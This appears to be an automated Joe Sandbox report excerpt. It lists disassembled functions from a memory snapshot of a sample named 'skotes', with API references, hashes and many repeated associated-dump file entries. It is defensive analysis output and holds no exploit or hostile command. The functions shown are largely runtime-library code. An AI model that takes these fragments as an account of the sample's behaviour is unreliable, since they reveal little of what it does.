Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 72fa470b4b339bd6b422e76feea455837b562c6685b98e76c20cd77aa7fbaa56
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: EAF0A730A00A109EEA62AB588816FAB23959FC6711F00C61DE51BD71C2CE2CE852CB81

Function 007BF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007BF232
__freea.LIBCMT ref: 007BF298

Part of subcall function 007BB04B: RtlAllocateHeap.NTDLL(00000000,DEE27865,?,?,0079D3FC,DEE27865,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

Strings

Z{,m{, xrefs: 007BF1D2

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z{,m{
API String ID: 809856575-3440029403
Opcode ID: f216b57f5e903df4ea870d92fc17e2022eaa65232138f29ae12c03f82effcc12
Instruction ID: 3e57c1d358e584881631fde1d9d79565e6e62a0b8b376f1c4db10efcf5721fe9
Opcode Fuzzy Hash: f216b57f5e903df4ea870d92fc17e2022eaa65232138f29ae12c03f82effcc12
Instruction Fuzzy Hash: DC319E7590021AABDB21AF69CC45FEF7BA9FF84B20F054128FD14AB251DB388D51C7A0

Function 007B1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007B1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B17AF

Strings

pContext, xrefs: 007B17A7

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: dcaa2457562bf01db6f6831ff4409fee1dc154835748ad1d048bd3b90cfe4de8
Instruction ID: 96416cec23dd72aab75566d15f7030c8a0df5205426696de57e144c0a9b0b94f
Opcode Fuzzy Hash: dcaa2457562bf01db6f6831ff4409fee1dc154835748ad1d048bd3b90cfe4de8
Instruction Fuzzy Hash: 6E11D635A01214DBCF15FF18D8A9BAD7765AF84360B954065E8129B341DF7CED01CBD0

Function 007A0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 007A0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 007A0D2A

Strings

p[~, xrefs: 007A0CCF

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[~
API String ID: 3303180142-1161980390
Opcode ID: bd6a898ed952844421274940d061c3f160715c2b6348274d4722f441bb07ff6f
Instruction ID: 7e9c8e0836939d80eb87110518901ecc4192fde22269b3f0f98351b9e7bd3c5f
Opcode Fuzzy Hash: bd6a898ed952844421274940d061c3f160715c2b6348274d4722f441bb07ff6f
Instruction Fuzzy Hash: 5D01B571E06608DFCB10ABF8655935D66E0AB8E314F604A6EF405EB282DE7C4E4087A6

Function 0079CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,007A65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0079CAFC
CreateSemaphoreW.KERNEL32(?,007A65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0079CB1E

Strings

ez, xrefs: 0079CB12, 0079CAF0

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ez
API String ID: 1078844751-1282118492
Opcode ID: 20c49d00089051a89a3ccd51b30c6f02809dc3bdce593b1b89e6faf961e9b478
Instruction ID: 784037795e90bdac53aa7830dab3fba8baf441c99aa633487b6bd962bc68810d
Opcode Fuzzy Hash: 20c49d00089051a89a3ccd51b30c6f02809dc3bdce593b1b89e6faf961e9b478
Instruction Fuzzy Hash: E3F0D476502169ABCF239F90EC059AE7F66FF08B60B048015FD096A130C7369C61EFE4

Function 007AB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 007AB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AB961

Strings

pContext, xrefs: 007AB959

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 9d8b7043ff193b1ea94b9217b8ed478c7b3a719fb9a661c68770b4f26c4a86d2
Instruction ID: ffe37c9f8ffe717f80e138daff671d17d3be732d5414694a71df697d73674349
Opcode Fuzzy Hash: 9d8b7043ff193b1ea94b9217b8ed478c7b3a719fb9a661c68770b4f26c4a86d2
Instruction Fuzzy Hash: 17E06879B00208E7CF04F768EC4DD9EBB799EC47107004126E511A3381EB7CAA04CAD0

Function 007A34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A34FC

Strings

pScheduler, xrefs: 007A34F4
version, xrefs: 007A34E1

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
